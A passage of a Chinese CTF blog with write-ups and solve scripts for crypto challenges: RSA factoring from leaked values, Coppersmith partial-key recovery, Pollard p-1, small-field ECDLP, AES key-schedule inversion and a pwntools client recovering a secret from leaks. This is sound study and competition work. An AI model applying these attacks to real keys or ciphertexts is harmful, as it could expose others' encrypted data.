            encrypted_char = chr((ord(char) - ord('A') + shift) % 26 + ord('A'))
            ciphertext += encrypted_char
        else:
            ciphertext += char

    return ciphertext

def generate_parameters(bit_length=512):
    p = getPrime(bit_length)
    q = getPrime(bit_length)
    n = p * q
    e = 65537
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    s = p ** 4 + q ** 4
    return n, e, d, s, p, q


def main():
    n, e, d, s, p, q = generate_parameters()
    flag =  victory_encrypt(FLAG, victory_key).encode()
    c = pow(bytes_to_long(flag), e, n)

    with open('output.txt', 'w') as f:
        f.write(f"n = {n}\n")
        f.write(f"e = {e}\n")
        f.write(f"c = {c}\n")
        f.write(f"s = {s}\n")

    print("[+] Parameters saved to output.txt")


if __name__ == "__main__":
    main()

分析

已知 $p^4 + q^4$ 和p*q直接求pq就行
结果居然在这个套进去的弗吉尼亚卡了半天
当时连iroot都忘了，还手搓了一个

exp

from Crypto.Util.number import *
from gmpy2 import iroot

n = 88404336390052935295167907014990955167757899166459645006020564159910221950313103760744672095425046680977787806322104643113602241372187173741911921754830225380574290977520985329714483964734108589788286223669965444856353724037278541347276877433268175877986937451783914356003584010727646191451951063889248455609
e = 65537
c = 11921825186409298359079406916048192752767602192852391027241791193540838563492205016430418692802136940042065660220785320139908699089839204989955923648475022632803709791144611891680915190699364526974964681462990992432763033256899420495174369119948019155391667748721838548855253797865294424715858493207125261252
s = 22132256578806823997411210238808484780469981809371209041138582748325286114773081797359449254956289434027815102781847751566660330245563532030327073594906392050350502480761813167057219691372052865250833774891975836256799851265608403712175822132860992971312233187072699175930548398773550774537747747336997188361273018466118654290172956476269827800885378133620054325496862790981890907988859536668688826996940261310466429501167512388903117667233782399351835622719788747984955437789431901139660570839313478117275304708756873028209644328685542844890157184777151916692998517816399743210153407834925554864778286523140387691362

a2 = iroot(s + 2*n*n, 2)[0]     
a = iroot(a2 + 2*n, 2)[0]       
delt = iroot(a*a - 4*n, 2)[0]   

q = (a + delt) // 2
p = a - q


d = inverse(e, (p-1)*(q-1))
m = pow(c, d, n)
rsa_flag = long_to_bytes(m).decode()

def vigenere_decrypt(ct, key):
    out = []
    ki = 0
    for ch in ct:
        if ch.isalpha():
            base = ord('A') if ch.isupper() else ord('a')
            k = ord(key[ki % len(key)].upper()) - 65 # 使用65代替97更严谨，对应 'A'
            out.append(chr((ord(ch) - base - k) % 26 + base))
            ki += 1
        else:
            out.append(ch)
    return ''.join(out)

key = "TUTCTF"
flag = vigenere_decrypt(rsa_flag, key)
print("[+] Final Flag:", flag)

ecc

题目

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from random import randint
import hashlib
from sage.all import *
flag = b'TUTCTF{???}'

p = 146808027458411567

A = randint(1, p)
B = randint(1, p)

E = EllipticCurve(GF(p),[A,B])

G = E.random_point()

key = '???'
Q = key*G
print(f"p = {p}")
print(f"G = {G}")
print(f"Q = {Q}")

key = hashlib.sha256(str(key).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = pad(flag,16)
ciphertext = cipher.encrypt(flag)
print(f"ciphertext={ciphertext}")


# p = 146808027458411567
# G = (35813342313999718 : 66850728853227735 : 1)
# Q = (2399221355957408 : 125062289889696869 : 1)
# ciphertext=b'HmME\x08\xc5O\xa6\xab+\x0f\xbc\x90[]HR\x06\xf4\xa1\x84t\x8f@\xcf\x90\x97\xe3\xba:p/AxM-\xa3\xd3\xce\xb6?\x92\x85\xab\x97"\x04\xf9\xb1\x1b\x83L\xd3P\xd0V\x96569\'%\xb71'

分析

签到题，不会写代码，气笑了
p不大所以可以带入求出AB后直接用discrete_log函数尝试求解
记录一下语法知识点吧

创建曲线：

E = EllipticCurve(GF(p), [a, b])     #创建曲线y² = x³ + ax + b
E = EllipticCurve(GF(p), secp256k1)  # 比特币/以太坊曲线
E = curves.SECP256R1()               # NIST P-256
E = curves.Curve25519()              # 现代密钥交换曲线
E = curves.Ed25519()                 # 现代签名曲线

discret_log求解ecdlp:
key = discrete_log(Q, G, operation='+')
· Q: 目标元素
· G: 群的生成元
· operation=‘+’: 指定群运算为加法，计算 key 满足 Q = key・G

operation='*'：乘法
operation='+'：加法

exp

from sage.all import *
from Crypto.Util.Padding import unpad
import hashlib
from Crypto.Cipher import AES

p = 146808027458411567
c = b'HmME\x08\xc5O\xa6\xab+\x0f\xbc\x90[]HR\x06\xf4\xa1\x84t\x8f@\xcf\x90\x97\xe3\xba:p/AxM-\xa3\xd3\xce\xb6?\x92\x85\xab\x97"\x04\xf9\xb1\x1b\x83L\xd3P\xd0V\x96569\'%\xb71'
F = GF(p)
x1,y1 = F(35813342313999718), F(66850728853227735)
x2,y2 = F(2399221355957408), F(125062289889696869)


A = (y1**2 - y2**2 - x1**3 + x2**3) / (x1 - x2)
B = y1**2 - x1 ** 3 - A*x1
E = EllipticCurve(F, [A, B])

G = E(x1, y1)
Q = E(x2, y2)

key = discrete_log(Q, G, operation='+')
key = hashlib.sha256(str(key).encode()).digest()
print("AES Key:", key)

cipher = AES.new(key, AES.MODE_ECB)
plaintext_padded = cipher.decrypt(c)
plaintext = unpad(plaintext_padded, AES.block_size)

print(plaintext.decode())

ezrsa

题目

from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)
assert len(flag)==32
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
c1 = p^m
c2 = pow(m,e,n)
print(f'n = {n}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
"""
n = 139167681803392690594490403105432649693546256181767408269202101512534988406137879788255103631885736461742577594980136624933914700779445704490217419248411578290305101891222576080645870988658334799437317221565839991979543660824098367011942169305111105129234902517835649895908656770416774539906212596072334423407
c1 = 11201139662236758800406931253538295757259990870588609533820056210585752522925690049252488581929717556881067021381940083808024384402885422258545946243513996
c2 = 112016152270171196606652761990170033221036025260883289104273504703557624964071464062375228351458191745141525003775876044271210498526920529385038130932141551598616579917681815276713386113932345056134302042399379895915706991873687943357627747262597883603999621939794450743982662393955266685255577026078256473601
""""

exp

from gmpy2 import *
from Crypto.Util.number import *
from sage.all import *

n = 139167681803392690594490403105432649693546256181767408269202101512534988406137879788255103631885736461742577594980136624933914700779445704490217419248411578290305101891222576080645870988658334799437317221565839991979543660824098367011942169305111105129234902517835649895908656770416774539906212596072334423407
c1 = 11201139662236758800406931253538295757259990870588609533820056210585752522925690049252488581929717556881067021381940083808024384402885422258545946243513996
c2 = 112016152270171196606652761990170033221036025260883289104273504703557624964071464062375228351458191745141525003775876044271210498526920529385038130932141551598616579917681815276713386113932345056134302042399379895915706991873687943357627747262597883603999621939794450743982662393955266685255577026078256473601
e = 65537
p = c1 ^^ 0
PR. = PolynomialRing(Zmod(n))


def partial_prime_known_highbits(n, known_high, unknown_bits):
    
    f = known_high * 2^unknown_bits + x
    roots = f.small_roots(X=2^unknown_bits, beta=0.4,epsilon = 0.01)
    for r in roots:
        p = int(known_high * 2^unknown_bits + r)
        if p and n % p == 0:
            return p
    return None
for i in range(0,256):
    print(i)
    p_high = p >> 256
    p_high = p_high << 8
    p_high = p_high + i
    try:
        p0 = partial_prime_known_highbits(n,p_high,248)
        q = n // p0
        if p0*q == n: 
            phi = int((p0-1)*(q-1))
            d = inverse(e,phi)
            m = pow(c2,d,n)
            print(long_to_bytes(int(m)))
            break
    except:
        continue

数字中国决赛

2026-04-26T12:01:17.000Z

依旧爆零还是很难受的，不过出人意料的是全场师傅们居然陪我一起爆零哈哈

题目

(pow部分已略过)

from time import time
import random
import os
import sys
import hashlib

import random as py_random

def sample(tau,eta,lens,B,s=None):
    lower = -B + tau * eta
    upper = B - tau * eta
    c_rows = []
    for _ in range(lens):
        row = [0] * 128
        for idx in py_random.sample(range(128), tau):
            row[idx] = py_random.choice((-1, 1))
        c_rows.append(row)
    c = matrix(ZZ, c_rows)

    if s is None:
        s = vector(ZZ, [py_random.randint(-eta, eta) for _ in range(128)])
    cs = c * s

    # If one coordinate can never satisfy the bound for any y in [-B, B],
    # rejection sampling would not terminate.
    count = 0
    while True:
        y = vector(ZZ, [py_random.randint(-B, B) for _ in range(lens)])
        z = cs + y
        if all(lower <= zi <= upper for zi in z):
            return (c_rows, list(z)), (list(s), list(y))
        count+=1
        if count>10000:
            raise Exception("Rejection sampling failed after 10000 attempts. Please check the parameters.")
            exit(0)

tau=39
eta=2
B=2*tau*eta
s= vector(ZZ, [py_random.randint(-eta, eta) for _ in range(128)])

s[0]=eta
print("the first stage")
cs=[]
leaks=[]
count=0
while count<15000:
    print("how many samples do you want to get? (0 to exit)")
    try:
        n=int(input())
    except:
        print("[-] Invalid input!")
        continue

    if n == 0:
        break
    pk,sk=sample(tau,eta,n,B,s)
    cs+=pk[0]
    leaks+=[bin(i&0xffffffff).count('1') for i in sk[1]]
    print(pk[1])
    count+=n
print("the second stage")
count=0
while count<5000:
    print("which samples do you interest in more? (-1 to exit)")
    try:
        indices=input()
        indices = [int(item.strip()) for item in indices.split(',')]
        assert all(-1 <= idx < len(cs) for idx in indices)
    except:
        print("[-] Invalid input!")
        continue
    if -1 in indices:
        break
    ans=[(cs[i],leaks[i]) for i in indices]
    print(ans)
    count+=len(indices)

print("the third stage")
print("plz input the guess secret s:")
try:
    guess_s = [int(item.strip()) for item in input().split(',')]
    assert len(guess_s) == 128
except:
    print("[-] Invalid input!")
    sys.exit(1)
if guess_s == list(s):
    flag=open("./flag.txt").read().strip()
    print(f"[+] Congratulation! Here is your flag: {flag}")
else:
    print("[-] Wrong guess! Better luck next time!")

分析

题目分析

这道题本质上是一个带泄露的稀疏秘密恢复问题，灵感来自 FLIP（Fast Lattice-based Instantiation and Primitive）加密方案。目标是通过服务端给的一些有限信息，把一个 128 维的秘密向量 s 给恢复出来。

参数设置

参数	值	含义
N	128	秘密向量的维度
tau	39	每行 c 的非零元素个数
eta	2	秘密 s 每个分量的范围 [-2, 2]
B	2×39×2 = 156	噪声 y 的范围 [-B, B]

秘密向量 s

s = vector(ZZ, [py_random.randint(-eta, eta) for _ in range(128)])
s[0] = eta  # s[0] = 2，这是已知条件

s 是一个 128 维整数向量，每个分量取值于 {-2, -1, 0, 1, 2}，而且 s[0] = 2 是写死的。这个信息后面验证的时候会用到。

稀疏矩阵 c

c_rows = []
for _ in range(lens):
    row = [0] * 128
    for idx in py_random.sample(range(128), tau):  # 随机选 39 个位置
        row[idx] = py_random.choice((-1, 1))        # 每个位置放 ±1
    c_rows.append(row)

c 的每一行是 128 维向量，恰好有 39 个位置是 ±1，剩下 89 个位置全是 0。说白了就是一个稀疏二值矩阵。

c·s

cs = c * s   # 矩阵乘法，得到一个 lens 维向量

这里有个关键的数学性质：c·s 的每个分量是有界的。

|(\mathbf{c}_i \cdot \mathbf{s})| \leq \sum_{j \in \text{supp}(\mathbf{c}_i)} |c_{ij}| \cdot |s_j| \leq 39 \times 1 \times 2 = 78

原因很简单：c 的每行只有 39 个非零元素（都是 ±1），s 的每个分量绝对值不超过 2，所以内积的绝对值最多就是 78。

噪声 y 与拒绝采样

lower = -B + tau * eta   # = -156 + 78 = -78
upper = B - tau * eta    # = 156 - 78 = 78

y = vector(ZZ, [py_random.randint(-B, B) for _ in range(lens)])  # y ∈ [-156, 156]
z = cs + y
if all(lower <= zi <= upper for zi in z):  # 要求 z ∈ [-78, 78]
    return (c_rows, list(z)), (list(s), list(y))

所以最终每个样本满足：

z_i = \mathbf{c}_i \cdot \mathbf{s} + y_i

其中：

$z_i \in [-78, 78]$ （拒绝采样保证）
$y_i \in [-156, 156]$ （均匀随机生成）
$\mathbf{c}_i \cdot \mathbf{s} \in [-78, 78]$ （稀疏性保证）

这里多说一句，为什么拒绝采样要限制 z ∈ [-78, 78]？

如果 $z \in [-78, 78]$ ，那么 $y = z - \mathbf{c} \cdot \mathbf{s} \in [-78-78, 78+78] = [-156, 156]$ ，自动满足 y 的范围约束。换句话说，这个约束确保了：给定 z 之后，y 的有效范围是 $[z-78, z+78]$ ，宽度只有 156（而不是完整的 313）。当 |z| 比较小的时候，这个范围跟 [-156, 156] 的交集更小，HW 约束就更容易把 y 唯一确定下来。

交互逻辑

第一步：收集 z 值

你可以请求最多 15000 个样本。对于每个样本，服务端返回 z 值（也就是 $\mathbf{c} \cdot \mathbf{s} + y$ ），同时在后台偷偷记录了 HW32(y)（y 当作 32 位整数来看，二进制表示里 1 的个数）。

leaks += [bin(i & 0xffffffff).count('1') for i in sk[1]]

第二步：查询详细信息

你可以按索引查询最多 5000 个样本，服务端会返回 (c_row, leak)，也就是稀疏行向量 $\mathbf{c}_i$ 和对应的 $HW_{32}(y_i)$ 。

第三步：提交答案

猜出完整的 128 维秘密向量 s，全对就给 flag。

解题思路

我们已知：

$z_i = \mathbf{c}_i \cdot \mathbf{s} + y_i$
$HW_{32}(y_i)$ （y_i 的 32 位 Hamming Weight）
$\mathbf{c}_i \cdot \mathbf{s} \in [-78, 78]$
$y_i \in [-156, 156]$

目标：恢复s

关键洞察：如果对某个样本，我们能唯一确定 $\mathbf{c}_i \cdot \mathbf{s}$ 的值，那就得到了一个关于 s 的精确线性方程。

怎么唯一确定 $\mathbf{c}_i \cdot \mathbf{s}$

已知 $z_i$ 和 $HW_{32}(y_i)$ ，我们可以：

枚举所有满足 $HW_{32}(y) = \text{leak}$ 的 $y$ 值（范围 $[-156, 156]$ ）
对每个候选 $y$ ，计算 $\mathbf{c}_i \cdot \mathbf{s} = z_i - y$
检查 $z_i - y$ 是否在 $[-78, 78]$ 范围内
如果只有一个候选满足条件，那 $\mathbf{c}_i \cdot \mathbf{s} = \text{rhs}$ 就被唯一确定了

HW32(y) 的信息量

$HW_{32}(y)$ 就是 y 的 32 位二进制表示中 1 的个数。对于 $y \in [-156, 156]$ （当作有符号 32 位整数来看），不同的 y 值可能有相同的 HW32，但这个约束已经大大缩小了候选空间。

举个例子，假设 $z = 3$ ， $HW_{32}(y) = 15$ ，那 y 必须同时满足：

$y \in [3-78, 3+78] = [-75, 81]$
$HW_{32}(y) = 15$

同时满足这两个条件的 y 可能就只有 1 个，这时候 $\mathbf{c} \cdot \mathbf{s} = 3 - y$ 就被唯一确定了。

这样一来，问题就变成了：

\mathbf{c}_i \cdot \mathbf{s} = z_i - y_i

进一步选出 128 条线性无关方程做高斯消元解方程就好了

from time import time
import random
import os
import sys
import hashlib
import string
import itertools
import heapq

from pwn import *
io = remote('127.0.0.1', 9999)
#io.interactive()
io.recvuntil("XXXX+")
a = io.recvuntil(") == ")
a = a[:-5]
target = io.recvline().strip().decode()


candidata = itertools.product(string.ascii_letters+string.digits,repeat=4)
for i,item in enumerate(candidata):
    cand = b''
    for j in range(4):
        cand += item[j].encode()
    if target == hashlib.sha256(cand + a).hexdigest():
        print("ok")
        break

io.recv()
io.sendline(cand)

zs = []

for i in range(1500):
    io.recvuntil(b'exit)\n')
    io.sendline(b'10')
    zs += eval(io.recvline().strip().decode())

# zs = sorted(enumerate(zs), key=lambda x: x[1], reverse=True)[:5000]
# print(zs[10])
data = []


qs = sorted(range(len(zs)), key=lambda i: abs(zs[i]))[:5000]

data = []
for off in range(0, 5000, 100):            # 一次问 100 个，省 RTT
    chunk = qs[off:off+100]
    io.recvuntil(b'exit)\n')
    io.sendline(','.join(map(str, chunk)).encode())
    data += eval(io.recvline().strip().decode()) 

hw = {}

for y in range(-156,157):
    hw.setdefault(bin(y & 0xffffffff).count('1') ,[]).append(y)
    
eq = []   # 装方程的系数行（每个是 128 维的 c 向量）
rhs = []

zs_ = []
exact = 0

for i in qs:
    zs_.append(zs[i])


for i in range(len(data)):
    c = data[i][0]
    leak = data[i][1]
    z = zs_[i]

    candidata = []
    for y in range(-156,157):
        if bin(y & 0xffffffff).count('1') != leak:
            continue
        cs = z-y
        if -78 <= cs <= 78:
            candidata.append(cs)

    if len(candidata) == 1:
        eq.append(c)
        rhs.append(candidata[0])
        exact += 1 

print(exact)




import sympy as sp
A = sp.Matrix([row for row in eq])
b = sp.Matrix(rhs)
s = sp.Matrix(A.solve(b))       # 精确求解s
s = [int(x) for x in s]         # 必须是整数解

# 校验再提交
assert s[0] == 2 and all(-2 <= x <= 2 for x in s)
io.sendlineafter(b'guess secret s:', ','.join(map(str, s)).encode())
print(io.recvall().decode())

软件安全区域线下赛后记

2026-04-19T14:20:46.000Z

也是爆零了T_T。感触蛮多的，虽然比赛身有点草台班子，但还是蛮有意义的

第一次参观北理这种顶级高校，有一种农村人进城的感觉哈哈

再一个也是第一次参加线下的断网的比赛了，离了开始ai重新审视自己，发现自己其实没有预想的那么菜，说明平时对ai一把梭类题型的额外关照还是有意义的

好好努力吧

题目

import os
import hashlib
from Crypto.Util.number import getPrime, isPrime, bytes_to_long, long_to_bytes, sieve_base
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from sage.all import *
import random
import json
from Secret import flag

p_ec = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
K_field = GF(p_ec)
E = EllipticCurve(K_field, [0, 4])
o = 793479390729215512516507951283169066088130679960393952059283337873017453583023682367384822284289

n1 = 859267
n2 = 52437899
n3 = 28355811

def generate_base_points():
    while True:
        G1 = E.random_point()
        G2 = E.random_point()
        G3 = E.random_point()
        if G1.order() == o and G2.order() == o and G3.order() == o:
            P1 = (o // n1) * G1
            P2 = (o // n2) * G2
            P3 = (o // n3) * G3
            return G1, G2, G3, P1, P2, P3

G1, G2, G3, P1, P2, P3 = generate_base_points()

while True:
    a0 = random.randrange(0, o)
    b0 = random.randrange(0, o)
    c0 = random.randrange(1, o) 
    K_point = a0 * P1 + b0 * P2 + c0 * G3
    if K_point != E(0):
        break

def encrypt_bytes_with_weil(data_bytes, K_point, P1, P2, P3, G1, G2, G3, o):
    bits = bin(bytes_to_long(data_bytes))[2:].zfill(len(data_bytes) * 8)

    cs = [K_point.xy()]
    for bit in bits:
        a = random.randrange(0, o)
        b = random.randrange(0, o)
        c = random.randrange(0, o)
        if bit == '0':
            C = a * P1 + b * P2 + c * G3
        else:
            C = a * P1 + b * G2 + c * P3
        cs.append(C.xy())
    return cs

SBOX = [
    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]

RCON = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]

def key_expansion(key):
    w = [bytes_to_long(key[i:i+4]) for i in range(0, 16, 4)]
    for i in range(4, 44):
        temp = w[i-1]
        if i % 4 == 0:
            temp = ((temp << 8) & 0xffffffff) | (temp >> 24)
            temp = (SBOX[temp >> 24] << 24) | (SBOX[(temp >> 16) & 0xff] << 16) | \
                   (SBOX[(temp >> 8) & 0xff] << 8) | SBOX[temp & 0xff]
            temp ^= (RCON[i // 4] << 24)
        w.append(w[i-4] ^ temp)
    return b"".join([long_to_bytes(x, 4) for x in w[40:]])

def generate_prime(bits):
    while True:
        p_sub = 2
        for prime in sieve_base:
            p_sub *= prime
            if p_sub.bit_length() > bits - 2:
                break

        for k in range(2, 10000, 2):
            p = p_sub * k + 1
            if isPrime(p):
                return p

p = generate_prime(1024)
q = getPrime(1024)
n = p * q
e = 65537

random_key1 = os.urandom(16) 
random_key2 = os.urandom(16) 

key = bytes([a ^ b for a, b in zip(random_key1, random_key2)])

cs = encrypt_bytes_with_weil(random_key1, K_point, P1, P2, P3, G1, G2, G3, o)

last_key = key_expansion(random_key2) 
c_rsa = pow(bytes_to_long(last_key), e, n)

iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
c_aes = cipher.encrypt(pad(flag, 16))

print(f"n = {n}")
print(f"c_rsa = {c_rsa}")
print(f"iv = {iv.hex()}")
print(f"c_aes = {c_aes.hex()}")

print(f"p_ec = {p_ec}")
print(f"o = {o}")
print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"n3 = {n3}")
print(f"cs_length = {len(cs)}")

cs_str = str(cs)
with open("cs_data.txt", "w") as f:
    f.write(cs_str)

# n = 146850411704422049184055831603438103611273998641574344539157187822470117111192441822840285426092531590494443560512774359361222760041102810475251420012967345253310508075313669874255385146463705376624174846090693327299696444447299357816218235953977513356010849073754388380066627173946423160005852531719468703482395149740126750238839756212987902673933340616278193564739329403982414297244500133278306869727068946995267433133315170300944475227726688168414050083748281907770360887506262390792675100088131056162503296688058603163204412988395608692569420997582022237320094219469054284986095923802700263866210516176584677461256983
# c_rsa = 74231514119138617803996275719518567011575633515104945151215552023045037756701780526260789061976755658325418843994780806559238907177047055473949449639134295693377584046710895240662122821981567353777690859611002522560646785856006740342985854904695610475038620729237499009395199224056982292128775251998161390549676312977578250989501803335573269265794244598105444939510585700441331525728789380327207222547771575094896363209815599271832390676431405381466011192298785646752634683579526124097356770748495318358864466168591744819079230251579490595399596992924889730056630225282899769366237095274859047801524294366610885266499330
# iv = 9ee38737a1bdaaa5f665b4d91988e8d6
# c_aes = 8533aeeb80395a4dc344ca9e4fe036463e6563b3acc3ad85087c166a4e497c516b8cda153dbe3ab2d59999d61195b16e
# p_ec = 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559787
# o = 793479390729215512516507951283169066088130679960393952059283337873017453583023682367384822284289
# n1 = 859267
# n2 = 52437899
# n3 = 28355811
# cs_length = 129

分析

整体思路其实很清晰
要解aes就要找key
而：

key = randomkey1 \oplus randomkey2

进一步去求解randomkey1和randomkey2

randomkey2求解

last_key = key_expansion(random_key2) 
c_rsa = pow(bytes_to_long(last_key), e, n)

所以要先解aes拿last_key，再逆last_key=key_expansion(randomkey2)
拿回random_key2

rsa处理

p-1光滑攻击，拿板子打就行

from Crypto.Util.number import *
from gmpy2 import *

n = 146850411704422049184055831603438103611273998641574344539157187822470117111192441822840285426092531590494443560512774359361222760041102810475251420012967345253310508075313669874255385146463705376624174846090693327299696444447299357816218235953977513356010849073754388380066627173946423160005852531719468703482395149740126750238839756212987902673933340616278193564739329403982414297244500133278306869727068946995267433133315170300944475227726688168414050083748281907770360887506262390792675100088131056162503296688058603163204412988395608692569420997582022237320094219469054284986095923802700263866210516176584677461256983
c = 74231514119138617803996275719518567011575633515104945151215552023045037756701780526260789061976755658325418843994780806559238907177047055473949449639134295693377584046710895240662122821981567353777690859611002522560646785856006740342985854904695610475038620729237499009395199224056982292128775251998161390549676312977578250989501803335573269265794244598105444939510585700441331525728789380327207222547771575094896363209815599271832390676431405381466011192298785646752634683579526124097356770748495318358864466168591744819079230251579490595399596992924889730056630225282899769366237095274859047801524294366610885266499330
e = 65537

a = 2
m = 2
while True:
    a = powmod(a, m, n)
    p = gcd(a-1, n)
    if p != 1 and p != n:
        break
    m += 1

q = n // p
phi = (p-1)*(q-1)
d = invert(e, phi)
m = powmod(c, d, n)
print(m)

逆key_expansion

w = [bytes_to_long(key[i:i+4]) for i in range(0, 16, 4)]

$w_0,w_1,w_2,w_3$ 待求而 $w_{43},w_{42},w_{41},w_{40}$ 已知
从 $w_4$ 开始认真看代码：

for i in range(4, 44):
    if i整除4有：
        w[i] = w[i-4] ^ f(w[i-1])
    否则：
        w[i] = w[i-4] ^ w[i-1]

而在已知w[k]的情况话求解f(w[k])是很简单的
由此便可以从 $w_{43},w_{42},w_{41},w_{40}$ 开始解决这个递推问题：

SBOX = [……]
RCON = [……]
def f(temp,i):
    temp = ((temp << 8) & 0xffffffff) | (temp >> 24)
    temp = (SBOX[temp >> 24] << 24) | (SBOX[(temp >> 16) & 0xff] << 16) | \
            (SBOX[(temp >> 8) & 0xff] << 8) | SBOX[temp & 0xff]
    temp ^= (RCON[i // 4] << 24)
    return temp
w1 = [
    int.from_bytes(m[i*4 : (i+1)*4],byteorder= 'big')
    for i in range(4)
]

w = [0]*44

w[43] = w1[3]
w[42] = w1[2]
w[41] = w1[1]
w[40] = w1[0]
w[39] = w[43] ^ w[42]
w[38] = w[42] ^ w[41]
w[37] = w[41] ^ w[40]

for i in range(40,3,-1):
    print(i)
    if(i % 4 == 0):
        w[i-4] = w[i] ^ f(w[i-1],i)
    else:
        w[i-4] = w[i] ^ w[i-1]

random_key2 = b''.join(x.to_bytes(4, 'big') for x in w[:4])
print(random_key2)

randomkey1求解

题目定义的曲线是：

E: y^2 = x^3 + 4  over F_p

其中：

p_ec = 4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559787
o    = 793479390729215512516507951283169066088130679960393952059283337873017453583023682367384822284289

先把 o 分解一下：

o = 3 * 11 * 10177 * 859267 * 52437899 * 52435875175126190479447740508185965837690552500527637822603658699938581184513

题目给了：

n1 = 859267
n2 = 52437899
n3 = 28355811 = 3 * 11 * 859267 = 33 * n1

然后生成 3 个阶都为 o 的点 G1, G2, G3，并定义：

P1 = (o // n1) * G1
P2 = (o // n2) * G2
P3 = (o // n3) * G3

因此：

ord(P1) = n1
ord(P2) = n2
ord(P3) = n3

加密的核心逻辑非常简单——每个 bit 用不同的"点组合"来表示：

if bit == '0':
    C = a*P1 + b*P2 + c*G3      # 用 P2（n2阶）和 G3（满阶）
else:
    C = a*P1 + b*G2 + c*P3      # 用 G2（满阶）和 P3（n3阶）

其中 a, b, c 是每次随机选取的标量（充当"一次性掩码"）。

注意两种情况的区别：

bit=0 时，点落在 ⟨P1⟩ × ⟨P2⟩ × ⟨G3⟩ 张成的空间里
bit=1 时，点落在 ⟨P1⟩ × ⟨G2⟩ × ⟨P3⟩ 张成的空间里

虽然 a, b, c 每次都不同（看起来像随机掩码），但两种 bit 使用的"基础构件"不同，这就是漏洞的根源。

核心攻击：Torsion 投影

目标:
攻击者的目标是：只看密文点 C，判断它对应 bit 0 还是 bit 1。

==关键：乘以 T = o // n2==

关键操作是——把所有点乘以一个特定的标量 T：

T = o // n2

乘完之后会发生什么？我们来逐个分析每个基础构件：

点	原始阶	T × 该点	结果
P1	n1	T × P1	O（原点） ✅ 因为 T 包含 n1 的因子
P2	n2	T × P2	仍是 n2 阶点（T 不含 n2 因子）
P3	n3	T × P3	O（原点） ✅ 因为 n3=33×n1，T 包含 n1
G1	o	T × G1	n2 阶点
G2	o	T × G2	n2 阶点
G3	o	T × G3	n2 阶点

为什么 P3 也被消掉了？

因为 n3 = 33 × n1，而 T = o // n2 仍然包含 n1 这个因子。所以 T × P3 = (o//n2) × (o//n3) × G3，其中 o//n2 包含 n1，而 o//n3 把阶缩到 n3=33×n1，所以 (o//n2) × P3 的步长是 n1 的倍数，走 n3/n1=33 步就回原点了。

投影后，两种 bit 的密文变成：

bit = 0：

T × C = b × (T × P2) + c × (T × G3)

bit = 1：

T × C = b × (T × G2)        ← P3 被消掉了！

为什么选 n2 而不是 n1 或 n3？
这是最容易卡住的地方:

选 n1？ 不行。n3 = 33 × n1，所以 o // n1 消不掉 P3（P3 带有 n1 成分），bit=1 会有残留分量。
选 n3？ 不行。o // n3 不再包含 n1 因子，消不掉 P1，bit=0 会有残留分量。
选 n2？ ✅ 完美！因为 n2 与 n1、n3 都互素，o // n2 同时包含 n1 和 n3 的因子，能一口气把 P1 和 P3 都消掉。

判定:

